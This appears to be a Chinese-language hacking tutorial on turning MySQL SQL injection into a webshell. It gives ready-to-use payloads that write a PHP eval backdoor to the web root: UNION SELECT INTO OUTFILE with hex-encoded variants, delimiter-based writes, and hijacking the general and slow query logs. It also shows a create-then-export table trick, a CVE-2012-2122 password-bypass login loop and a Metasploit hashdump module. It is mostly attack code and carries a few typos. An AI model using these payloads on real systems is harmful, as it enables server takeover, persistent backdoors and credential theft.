利用条件

  • 1.有写文件条件
  • secure-file-priv(show variables) 要么禁用,要么设置了路径 show variables like '%secure%'
  • 目录权限 对于MySQL来说,有可以对某个目录进行读写的权限
  • Selinux 是2.6版本的Linux内核中提供的强制访问控制(MAC)系统
  • 2.知道绝对路径
  • 3.PHP的GPC为 off状态,或者在开启gpc的情况下,可以通过十六进制的路径读写文件
  • 4.查看当前数据库用户是否有File权限 select group_concat(user,0x3a,file_priv) from mysql.user; //出现Y,这就代表你有文件权限,N就是没有

获取webshell方法

1、利用Union select 写入

这是最常见的写入方式,union select 跟 into outfile,将一句话写入,仅适用于联合注入

举例:

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile '绝对路径'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "绝对路径"

into outfile ’ ’ 或者 into dumpfile ’ ’ //写文件操作

union select 1,2,'aaa' into outfile 'c:\\phpstudy_pro\\www\\test1.txt'
union select 1,2,'aaa' into dumpfile 'c:\\phpstudy_pro\\www\\test1.txt'

写入内容可以用hex值

union select 1,2,'0x616161' into dumpfile 'c:\\phpstudy_pro\\www\\test1.txt'

写入内容可以用ascii值

union select 1,2,'CHAR(97,97,97)' into dumpfile 'c:\\phpstudy_pro\\www\\test1.txt'

2、基于非Union select查询,利用分隔符写入

当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

举例:

select * from users where id =1 into outfile 'c:/tmp/1.txt' lines terminated by '<? phpinfo(); ?>';

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by '一句话hex编码'#
?id=1 INTO OUTFILE '物理路径' fields terminated by '一句话hex编码'#
?id=1 INTO OUTFILE '物理路径' columns terminated by '一句话hex编码'#
?id=1 INTO OUTFILE '物理路径' lines starting by '一句话hex编码'#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。

  • 这种方式基本上在windows系统下才会成功,在linux下由于写入weishell的为吗,mysql,http服务器没有权限对他访问。
  • 具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。
#查看配置
show variables like '%general%';

#开启general log模式                                 
set global general_log = on;

#设置日志目录为shell地址
set global general_log_file = 'c:/phpstudy/WWW/haha.php';

#写入shell
select '<?php eval($_REQUEST["hahaha"]);?>';

#关闭general log模式  
set global general_log=off;

4、利用慢查询日志

慢查询日志,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。

#查看服务器默认时间值方式如下:
show global variables like '%long_query_time%';

# 查询慢日志功能以及慢日志目录
show variables like '%slow_query_log%';

# 开启慢日志功能
set global slow_query_log = 'ON';

# 设置慢日志路径
set global slow_query_file = 'D:/phpstury/www/shell.php';

#写入shell
select '<?php eval($_REQUEST["hahaha"]);?>';

# 关闭慢日志功能
set global slow_query_log = 'OFF';

5.基于创建再导出的方法(类似方法1)

# 连接test数据库  
use test;
# 搜索并删除存在的testhahaha这个表
drop table if exists testhahaha;
# 创建这个表,在里边加个字段hahaha
create table testhahaha(hahaha text not null);
# 在里面写入一句话
insert into testhahaha(hahaha) values ('<?php phpinfo(); ?>');
# 然后把这句话导出来
select hahaha from testhahaha into outfile 'D:/2.txt';
# 然后删除表
drop tan testhahaha;

6.CVE-2012-2122

知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

msf里面的脚本

msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 > set rhosts 127.0.0.1
msf6 > run